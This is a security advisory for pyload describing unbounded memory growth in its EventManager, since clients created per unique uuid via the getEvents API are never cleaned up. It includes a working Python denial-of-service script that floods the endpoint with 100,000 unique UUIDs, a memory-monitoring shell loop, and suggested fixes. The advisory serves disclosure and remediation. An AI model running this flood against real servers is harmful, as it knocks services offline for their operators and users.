OSV 1.4.0 · github-reviewed · 修改于 2026-07-09 21:35
发布时间
2026-07-09 21:35
GitHub 审查时间
2026-07-09 21:35
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/07/GHSA-c2f9-4mc8-j656/GHSA-c2f9-4mc8-j656.json
The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.
Here the client is added to the
clientslist but never cleared the inactive clients.
pyload server is running)getEvents API endpoint, each with a unique uuid.import requests
import uuid
import time
# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000
headers = {
"X-API-Key" : "<YOUR_APIKEY>"
}
print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")
for i in range(NUM_REQUESTS):
# Generating a new UUID
uid = str(uuid.uuid4())
try:
# Sending request
requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
if i % 1000 == 0:
print(f"Sent {i} requests...")
except requests.exceptions.RequestException as e:
print(f"Error at request {i}: {e}")
break
print("Attack complete. Check memory usage.")
pyload process (e.g., using top, ps or the following commands).PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done
pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.clean(): Call self.clean() at the beginning of the get_events method to purge inactive clients before processing new ones.getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.